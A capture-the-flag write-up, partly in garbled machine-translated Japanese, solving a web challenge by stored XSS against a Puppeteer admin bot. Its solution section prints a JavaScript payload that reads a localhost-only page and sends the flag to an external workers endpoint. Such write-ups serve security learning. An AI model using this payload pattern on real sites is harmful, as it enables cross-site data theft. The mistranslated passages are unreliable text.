ブリンクホストは



背景
このWebチャレンジは、Auth 0 CTF 2021でホストされました.もっと読むhere . この課題は、2つ星の評価と625ポイントのタグ付けされました.私は初心者の中間として難易度を分類します.チャレンジファイルをダウンロードlink . Zipファイルは、Docker Configでチャレンジフォルダーに抽出します.ローカルでDockerコンテナを設定するにはbuild-docker.sh ファイルとあなたが行くには良いはずです.
以下は、上記の課題のための書き込みは、前に読む前にそれを自分でショットを与える.

目次
  • Recon
  • Initial thought process
  • Exploring Pupeeteer
  • Building the solution
  • Summary
  • アプリケーションの簡単な概要は、入力フォームを介してサポートチケットを提出することができます動的なウェブサイトであることでしょう.他のルートもありますが、それは通常、ブラウザでアクセスすることができます.あなたが推測したように、旗は保護されたルートの1つに埋められます.

    偵察する

    First I started browsing through the source code to understand what all technologies are used.

    1. Express App (JS) : The app uses ExpressJS for the backend.
    2. Nunjucks: The most commonly used templating library is Nunjucks. Once I saw this maybe there is some injection possible somewhere.
    3. SQL DB: Alright, the database was on SQL. I got excited to see this one as I'm a big fan of SQLi scripting. sqli
    4. Puppeteer: There was also Puppeteer. I've barely used it, so I just had in the back of my head. Not sure what would be possible with it.

    This was all I got from a bird's eye view. This is usually the first thing I do. Next is to understand what the app does, like really trying to understand what operations it is performing under the hood.

    After browsing through the files. Of all the routes, the only 3 that mattered are the following:

    1. settings
    2. /tickets
    3. /api/submit_ticket

    Out of these, only the 3rd route is accessible via the browser. The first two routes are guarded by a condition that allows traffic originated only within the network i.e. from localhost.

    if(req.ip != '127.0.0.1') return res.redirect('/');
    

    So whenever I try to goto any of the endpoints from the browser, it simply redirects to the landing page.
    Coming to the most important part, the flag was present inside settings.html that could only be accessed via the settings route. Let us explore how we could retrieve the flag.


    初期思考過程
    • location of the flag
    • in order to get to the flag, we gotta expose settings.html
    • and that is blocked only from 127.0.0.1

    Since the flag was hid behind the /settings endpoint, it can only be accessed within the network. If we somehow trick the server into thinking that the request originated within the network, it must lead us to settings.html.

    My initial thought process was to simply try spoofing the request, make the server believe that the request is in fact originated from localhost. So I tried googling how to do that and found the X-Forwarded-For header. Basically I was trying to understand how node identifies the request IP, so I thought I could send a payload there. This post 上記のヘッダセットでcURLリクエストを送信するのを助けました127.0.0.1 . 残念なことに、そのdidnt仕事.
    他のヘッダを設定しようとした後、リクエストを偽造できないことを確認しました.それは合法的でなければならない!

    操り人形探検 The only piece I had'nt explored was Pupeeteer which in fact visited the /tickets route right after a ticket is submitted. If you're hearing about Puppeteer for the first time, read their website . 簡単な用語では、そのユーザーはどのようにユーザーがウェブサイトと対話する方法を模倣します.
    そのコードの探索
    router.post('/api/submit_ticket', async (req, res) => {
        const { name, email, website, message } = req.body;
        if(name && email && website && message){
            return db.addTicket(name, email, website, message)
                .then(() => {
                    bot.purgeData(db);
                    res.send(response('Ticket submitted successfully! An admin will review the ticket shortly!'));
                });
        }
        return res.status(403).send(response('Please fill out all the fields first!'));
    });
    
    これは実際に魚介類の原因でした、チケットが提出された直後にpurgedata関数は呼ばれています.それで、本質的に起こることはボットがページを訪問することです、そして、それは単にDBをクリアします.奇妙な、しかし、それが何であるかについてthats.
    今、私は不思議に思っていた、Petpeteerトリック/settings どうにか旗を含んでいるルート?それで、私はボットコードとルートを調査し始めました.SQLIは不可能でした、それは巧みに濾過されました.だから方程式のthats.もテンプレートの注入は、ldldnt動作します.
    いくつかの探査の後、私はDBからのチケットを取得し、チケットのHTML DOMにレンダリングされます.突然、私は、単純なXSSの仕事だろうか?原因は、ちょうどそれを消毒しないでDBからフィールドをレンダリングします.しかし、大きな問題はどのように私はそれがうまくいけば知っているか?私は、サイトを訪問していません.
    ここで解決する多くの問題.
    私の理論をテストするために、私はPaPeterをJSペイロードを送ることによって私の外部API終点と呼ばなければなりませんでした.

    私が提出した数秒後に、私は、ログの中でこの終点にGET要求がなされるのを見ました.私の理論は多田🎉🎉🎉

    ソリューションの構築

    Now that I know Puppeteer can send data outside, all I had to do was write a JS script that grabs the flag from /settings route and sends it to my Cloudflare API.

    This solution would work cause it is in fact Pupetter which is running locally(request IP is 127.0.0.1) that visits the /settings endpoint, not me!!!

    So here comes the easy part

        fetch("http://127.0.0.1:1337/settings")
        .then(response => {
            return response.text()
        })
        .then(html => {
            var exp=html.substring(html.lastIndexOf("HTB{"))
            fetch('https://curly-art-0176.designrknight.workers.dev/a='+exp)
        })
    

    The simplest JS script to visit settings page, grab the flag and send back in the GET param. This could probably be the smallest backdoor script that I've ever written xD.

    As soon as I hit submit, I got a hit on the logs. The param had the flag. And yes it was the right one!


    概要

    The website is XSS susceptible. So write a fetch request that visits settings route, grabs the flag and then posts it back to an external endpoint. This worked because pupetter didnt block external network connetions. These two are the major vulnerabilities here.

    Follow me on

    I would like to thank Auth0 for hosting the CTF ✨. Special thanks to | Partner in crime.